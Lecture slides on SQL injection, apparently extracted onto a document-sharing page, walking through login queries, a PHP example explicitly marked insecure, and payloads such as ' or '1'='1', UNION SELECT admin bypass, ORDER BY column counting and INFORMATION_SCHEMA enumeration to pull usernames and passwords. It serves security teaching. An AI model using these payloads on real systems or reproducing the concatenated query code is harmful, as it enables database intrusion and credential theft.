SQL Injection: A Comprehensive Guide to Understanding and Preventing Attacks, Schemes and Mind Maps of Database Management Systems (DBMS)

Download SQL Injection: A Comprehensive Guide to Understanding and Preventing Attacks and more Schemes and Mind Maps Database Management Systems (DBMS) in PDF only on Docsity!

A1 (Part 2): Injection

SQL Injection

SQL injection is prevalent

SQL injection is ironic

SQL injection is funny

DATABASE

Structured Query Language [SQL]

• Language used to communicate

with a relational database

• SQLite
• PostgreSQL
• MySQL

ID username password is_admin

1 bob p4ssw0rd true

2 alice s3cur3 false

Query Data

Logging in using SQL

TABLE: users

ID username password is_admin

1 bob p4ssw0rd true

2 alice s3cur3 false

USER

POST username= alice &password= s3cur

SERVER

SELECT password, is_admin FROM users WHERE username = ‘?’ ;

SELECT password, is_admin FROM users WHERE username = ‘alice’ ;

Logging in using SQL [cont.]

TABLE: users

ID username password is_admin

1 bob p4ssw0rd true

2 alice s3cur3 false

USER SERVER

password = s3cur is_admin = false

Password supplied: s3cur

Password in DB: s3cur

Login successful No admin privileges

The perfect password (or username) …

✓ Uppercase letter ✓ Lowercase letter ✓ Number ✓ Special character ✓ 16 characters

X' or '1'='1' --

Probing for errors

Probe forms with characters until syntax is broken Typically single or double-quotes

e.g. sending in parameter of ' Breaks out of username parameter (odd number of quotes) Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1: SELECT * FROM users WHERE username=''' AND password=''

Can infer query was SELECT * FROM users WHERE username=''' AND password='[PASSWORD]' Or SELECT * FROM users WHERE username='[USERNAME]' AND password='[PASSWORD]';

Must hide errors from adversary!

Code example (PHP) // Insecure code. Never use! $sqlStatement = "SELECT * FROM users WHERE username='". $_GET['username']. "' AND password='" .$_GET['password']. "';"; mysql_query($sqlStatement);

If username is-supplied parameter:

username -> foo password -> bar

Value passed to mysql_query

SELECT * FROM users WHERE username='foo' AND password='bar';

Statement returns a row only if there is a user foo with password bar

If username is-supplied parameter:

username - > foo' or '1'='1 password - > bar' or '1'='

Value passed to mysql_query

SELECT * FROM users WHERE username=‘`foo' or '1'='1' AND password='bar' or '1'='1';

Statement returns all rows in users

SQL - UNION

UNION merges two tables together

Tables must have the same number of columns to merge

SELECT * from users …

TABLE: users

ID username password is_admin

1 bob p4ssw0rd true

2 alice s3cur3 false

ID username password

1 bob p4ssw0rd

2 alice s3cur

1 1 1

ID username password is_admin

1 bob p4ssw0rd true

2 alice s3cur3 false

ID username password is_admin

1 bob p4ssw0rd true

2 alice s3cur3 false

1 1 1 null

• UNION SELECT 1,1,
• UNION SELECT 1,1,1,null

TABLE: users

ID username password is_admin

1 bob p4ssw0rd 1

2 alice s3cur3 0

ID username password is_admin

1 bob p4ssw0rd 1

2 alice s3cur3 0

1 1 1 1

ID username password is_admin

1 bob p4ssw0rd 1

2 alice s3cur3 0

1 1 1 1

ID username password is_admin

1 bob p4ssw0rd 1

2 alice s3cur3 0

1 1 1 1

SQL UNION Injection

POST username= 1’ UNION SELECT 1,1,1,1 # &password= 1

SELECT password, is_admin FROM users WHERE username = ‘1’ UNION SELECT 1,1,1,1 # ’ ;

SELECT password, is_admin FROM users WHERE username = ‘1’ UNION SELECT 1,1,1,1 # ’ ;

SELECT password, is_admin FROM users WHERE username = ‘1’ UNION SELECT 1,1,1,1 # ’ ;

SELECT password, is_admin FROM users WHERE username = ‘1’ UNION SELECT 1,1,1,1 # ’ ;

password = 1 is_admin = 1

Password supplied: 1

Password in DB: 1

Login successful Admin privileges

SERVER

SELECT password, is_admin FROM users WHERE username = '1' UNION SELECT 1,1,1,1 # ' ;

ORDER BY Sorts rows based on column number

SQL - ORDER BY

TABLE: users

ID username password is_admin

1 bob p4ssw0rd true

2 alice s3cur3 false

Can use to determine number of columns

‘ORDER BY x’ works only if x is less than or equal to the number of objects to order

• ORDER BY 3
• ORDER BY 4
• ORDER BY 5

INFORMATION_SCHEMA Special MySQL table containing data about every table and column in database INFORMATION_SCHEMA.tables holds names of tables in “table_name” INFORMATION_SCHEMA.columns is a table containing data about table columns in “column_name” Helpful in injection attacks Example: Suppose this URL is injectable: www.injectable.com/article.php?articleID= Assume query uses 5 as input and returns 3 columns.

1. Find name of table you want 5’ UNION SELECT table_name,table_name,table_name FROM INFORMATION_SCHEMA.TABLES --

2. If table name of interest is “UserAccounts”, then get its columns 5 ‘ UNION SELECT column_name, column_name, column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=‘UserAccounts’ --

3. If column_names include username and password 5’ UNION SELECT username,password,password FROM UserAccounts --

SQL INFORMATION_SCHEMA